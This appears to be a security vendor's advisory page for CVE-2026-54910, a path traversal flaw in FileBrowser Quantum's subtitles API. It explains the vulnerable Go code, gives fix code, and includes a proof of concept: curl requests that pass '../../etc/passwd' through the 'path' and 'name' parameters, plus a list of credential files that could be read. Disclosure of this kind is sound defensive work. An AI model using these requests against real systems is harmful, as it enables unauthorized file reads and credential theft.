CVE-2026-54910

CVE-2026-54910 is a high-severity path traversal vulnerability in github.com/gtsteffaniak/filebrowser/backend (go), affecting versions < 0.0.0-20260608182036-f3f4bbe80cb5. It is fixed in 0.0.0-20260608182036-f3f4bbe80cb5.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files

The subtitlesHandler endpoint (GET /api/media/subtitles) accepts two user-controlled query parameters: path and name, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors.

The primary vector is the path parameter: it is passed directly to idx.GetRealPath() without calling SanitizeUserPath(), allowing an attacker to escape the storage root and set parentDir to any directory on the host. No existing anchor file is required.

The secondary vector is the name parameter: it is joined with parentDir via filepath.Join(parentDir, name) without stripping directory components, allowing traversal relative to any resolved parentDir.

Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including /etc/passwd, SSH keys, database credentials, and JWT signing keys.

Details

1. path parameter lacks SanitizeUserPath(), primary vector (http/media.go:54)

userscope, err := d.user.GetScopeForSourceName(source)
// ...
realPath, _, err := idx.GetRealPath(userscope, path)  // path is raw user input, no sanitization
// ...
parentDir := filepath.Dir(realPath)  // line 59: attacker controls this directory

SanitizeUserPath() explicitly rejects .. segments:

func SanitizeUserPath(userPath string) (string, error) {
    // ...
    for _, segment := range segments {
        if segment == ".." {
            return "", fmt.Errorf("invalid path: path traversal detected")
        }
    }
    // ...
}

Every other handler in the codebase calls SanitizeUserPath() before GetRealPath(). This handler skips it, so path=../../etc/passwd resolves parentDir to /etc, with no anchor file required.

2. name parameter used directly in filepath.Join, secondary vector (http/media.go:63)

name := r.URL.Query().Get("name")  // line 37, raw user input
// ...
content, err = utils.GetSubtitleSidecarContent(
    filepath.Join(parentDir, name))  // line 63, TRAVERSAL

filepath.Join(parentDir, "../../etc/passwd") resolves the .. components, escaping parentDir. This vector requires a valid file in scope as the path anchor.

3. GetSubtitleSidecarContent reads and returns file contents (common/utils/media.go:17-43)

func GetSubtitleSidecarContent(subtitlePath string) (string, error) {
    info, err := os.Stat(subtitlePath)        // follows the traversed path
    // size check: < 50MB
    isText, err := IsTextFile(subtitlePath)   // checks UTF-8 validity
    content, err := os.ReadFile(subtitlePath) // reads and returns content
    return string(content), nil
}

The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.

4. Endpoint is behind withUser but requires no special permissions

// httpRouter.go
api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler))

Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required.

PoC

Vector 1: path traversal (no anchor file needed):

docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"

Expected output: /etc/passwd contents with HTTP 200.

Vector 2: name traversal (anchor file required):

mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt
docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"

Expected output: /etc/passwd contents with HTTP 200.

Impact

  • Arbitrary file read: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.
  • No anchor file required: The path vector works on a default install with an empty storage root, so no existing file in scope is needed.
  • Scope bypass: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.
  • Credential exposure: /etc/passwd, /etc/shadow (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.
  • Privilege escalation: Reading the JWT signing key from the database or config file enables forging admin tokens.
  • No special permissions required: The endpoint only requires basic authentication: no admin, modify, share, or download permissions.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-54910 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260608182036-f3f4bbe80cb5); upgrading removes the vulnerable code path.

Affected versions

github.com/gtsteffaniak/filebrowser/backend (< 0.0.0-20260608182036-f3f4bbe80cb5)

Security releases

github.com/gtsteffaniak/filebrowser/backend → 0.0.0-20260608182036-f3f4bbe80cb5 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Apply SanitizeUserPath() to the path parameter and filepath.Base() to the name parameter:

// http/media.go, subtitlesHandler

// Sanitize path parameter (like all other handlers)
path, err := utils.SanitizeUserPath(path)
if err != nil {
    return http.StatusBadRequest, err
}

// Strip directory components from name to prevent traversal
name = filepath.Base(name)

SanitizeUserPath() rejects any .. segment. filepath.Base("../../etc/passwd") returns "passwd", preventing traversal via name. Additionally, consider adding a file extension allowlist to restrict name to subtitle formats (.srt, .vtt, .ass, .ssa, .sub) only.

Frequently Asked Questions

  1. What is CVE-2026-54910? CVE-2026-54910 is a high-severity path traversal vulnerability in github.com/gtsteffaniak/filebrowser/backend (go), affecting versions < 0.0.0-20260608182036-f3f4bbe80cb5. It is fixed in 0.0.0-20260608182036-f3f4bbe80cb5. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2026-54910? CVE-2026-54910 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/gtsteffaniak/filebrowser/backend are affected by CVE-2026-54910? github.com/gtsteffaniak/filebrowser/backend (go) versions < 0.0.0-20260608182036-f3f4bbe80cb5 is affected.
  4. Is there a fix for CVE-2026-54910? Yes. CVE-2026-54910 is fixed in 0.0.0-20260608182036-f3f4bbe80cb5. Upgrade to this version or later.
  5. Is CVE-2026-54910 exploitable, and should I be worried? Whether CVE-2026-54910 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-54910 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-54910? Upgrade github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260608182036-f3f4bbe80cb5 or later.

Other vulnerabilities in github.com/gtsteffaniak/filebrowser/backend

Stop the waste.
Protect your environment with Kodem.